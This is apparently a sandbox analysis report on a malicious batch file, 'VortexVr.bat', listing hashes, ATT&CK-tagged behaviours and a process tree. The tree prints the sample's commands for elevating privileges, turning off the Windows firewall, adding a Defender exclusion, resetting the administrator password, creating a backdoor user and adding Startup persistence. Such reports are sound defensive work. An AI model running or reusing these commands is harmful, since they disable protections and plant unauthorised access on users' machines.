6e847e2a3dfe1ced97af4158d3c27f8626672a1126105a34795c14c017cdae5f

Analysis

user interaction
yes
max time kernel
7s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 17:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 38KB
Sample260818-vpjsgswglc
SHA256 6e847e2a3dfe1ced97af4158d3c27f8626672a1126105a34795c14c017cdae5f
MD5 9d3f1696c42ee7373d40c2caacaec8f6
SHA1 fb9f32056aa906e4a0235b4fef28bf9539edee87
SHA512 9f3a76d0be284a38ae1deda99ae4e71377b431a6cdc85471a8a85dccf8a23da9449bb7eec848f2dff4d6cadf890d21fcd7b1e5abaa0efc96245b0c1a0e747a4b
SSDEEP 768:/aa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paa7Zaa7jaa7Haa7/aa7paa3:/fZfjfHf/fpfZfjfHf/fpfZfjfHf/fpz
TLSH
T1E903BE39EB78A8D043BE749C8A533E4514CB1D23D7B9AA5CE941089B1CAC785EB774CC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6040	powershell.exe
8044	powershell.exe
5592	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2436	netsh.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1620	net1.exe
6060	net.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5856	cmd.exe
3872	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1708	netsh.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3184	chrome.exe
4160	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5748	powershell.exe
5748	powershell.exe
5748	powershell.exe
5592	powershell.exe
5592	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5748	powershell.exe
Token: SeDebugPrivilege	5592	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 5856 wrote to memory of 5748	5856	cmd.exe	88
PID 5748 wrote to memory of 3872	5748	powershell.exe	90
PID 3872 wrote to memory of 2436	3872	cmd.exe	92
PID 3872 wrote to memory of 1708	3872	cmd.exe	94
PID 3872 wrote to memory of 616	3872	cmd.exe	95
PID 616 wrote to memory of 1800	616	net.exe	96
PID 3872 wrote to memory of 6060	3872	cmd.exe	97
PID 6060 wrote to memory of 1620	6060	net.exe	190
PID 3872 wrote to memory of 5592	3872	cmd.exe	99

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5748
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2436
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1708
  - - C:\Windows\system32\net.exe
      net user administrator newpassword
      4⤵
      Suspicious use of WriteProcessMemory
      PID:616
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator newpassword
        5⤵
        
        PID:1800
  - - C:\Windows\system32\net.exe
      net user NewUser newpassword /add
      4⤵
      Creates a new local user account
      Suspicious use of WriteProcessMemory
      PID:6060
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser newpassword /add
        5⤵
        Creates a new local user account
        
        PID:1620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6040
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:2904
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:5080
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x130,0x134,0x138,0x108,0x13c,0x7ffdedb0c728,0x7ffdedb0c734,0x7ffdedb0c740
        5⤵
        
        PID:4700
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,10188363147569640272,14740859030501887350,262144 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=2092 /prefetch:2
        5⤵
        
        PID:1368
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1492,i,7802462147021865576,11564239123685449991,524288 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=2124 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3184
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2140,i,18326826236538482140,4560238771748357186,524288 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=2576 /prefetch:13
        5⤵
        
        PID:5412
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3240,i,1739852023209306887,8721604281290694476,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:1
        5⤵
        
        PID:3056
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3244,i,6058319037242490659,16284302507387620431,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=3328 /prefetch:1
        5⤵
        
        PID:5012
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4624,i,9453602107343501516,3559969977346338978,524288 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=4680 /prefetch:14
        5⤵
        
        PID:2624
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4836,i,3917717372202176479,76318136083415296,524288 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:12
        5⤵
        
        PID:4896
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5572,i,937533815309807734,8050852118524428652,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:1
        5⤵
        
        PID:6864
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5856,i,4054392386492789188,5489980960546253799,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=4712 /prefetch:1
        5⤵
        
        PID:7164
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=6012,i,1312812257193820426,10977079356423849903,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:1
        5⤵
        
        PID:6788
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6256,i,8507555937227797713,3247396194488454947,524288 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:14
        5⤵
        
        PID:8040
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6264,i,9131921420087949997,2635461436392315980,524288 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6300 /prefetch:14
        5⤵
        
        PID:7964
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6268,i,6500674862563169867,15859724891205235548,524288 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:14
        5⤵
        
        PID:7980
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6544,i,12141718316609678273,151193955308879367,524288 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6596 /prefetch:14
        5⤵
        
        PID:8028
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6568,i,13238908052401976137,13597439919919625216,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6624 /prefetch:1
        5⤵
        
        PID:7896
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6588,i,19380436953263943,10280155087537818456,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6652 /prefetch:1
        5⤵
        
        PID:7840
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=7036,i,2392601426543906594,8272876576597270456,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6792 /prefetch:1
        5⤵
        
        PID:3428
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=7080,i,3358412666053568129,6060419669101641662,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6572 /prefetch:1
        5⤵
        
        PID:9172
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=7208,i,18280945481866014216,11582054228918803994,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6796 /prefetch:1
        5⤵
        
        PID:4964
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6656,i,2040700046160069586,2749935879606689932,524288 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6828 /prefetch:14
        5⤵
        
        PID:4292
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6560,i,17864762859352921741,6779025419831886804,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:1
        5⤵
        
        PID:8220
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=6316,i,16013980245122718232,12585129725987138114,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=7348 /prefetch:1
        5⤵
        
        PID:8976
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=7460,i,11141432666133209559,2260891828896071232,2097152 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=6640 /prefetch:1
        5⤵
        
        PID:8872
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4800,i,199840538198277458,11387924091250134791,262144 --field-trial-handle=2096,i,1796227444176129640,15392892404979874406,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:10
        5⤵
        
        PID:6228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      PID:1132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:3448
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x294,0x7ffde936c188,0x7ffde936c194,0x7ffde936c1a0
        5⤵
        
        PID:1228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1836,i,12810722435720607249,4901665660022509143,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=2884 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4160
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1676,i,7561239514536200455,7247871675913841276,262144 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=2712 /prefetch:2
        5⤵
        
        PID:4316
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2220,i,12552118276126331882,2792268591148485387,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:13
        5⤵
        
        PID:3920
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3576,i,5825978205024299539,10178070714010190224,2097152 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
        5⤵
        
        PID:2760
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3580,i,12468060270917898417,8044428852096362297,2097152 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:1
        5⤵
        
        PID:828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4316,i,15456452052573693210,18427004064642157379,2097152 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=4364 /prefetch:1
        5⤵
        
        PID:916
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4320,i,17727509169965116070,12951577385532161587,2097152 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:9
        5⤵
        
        PID:2008
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
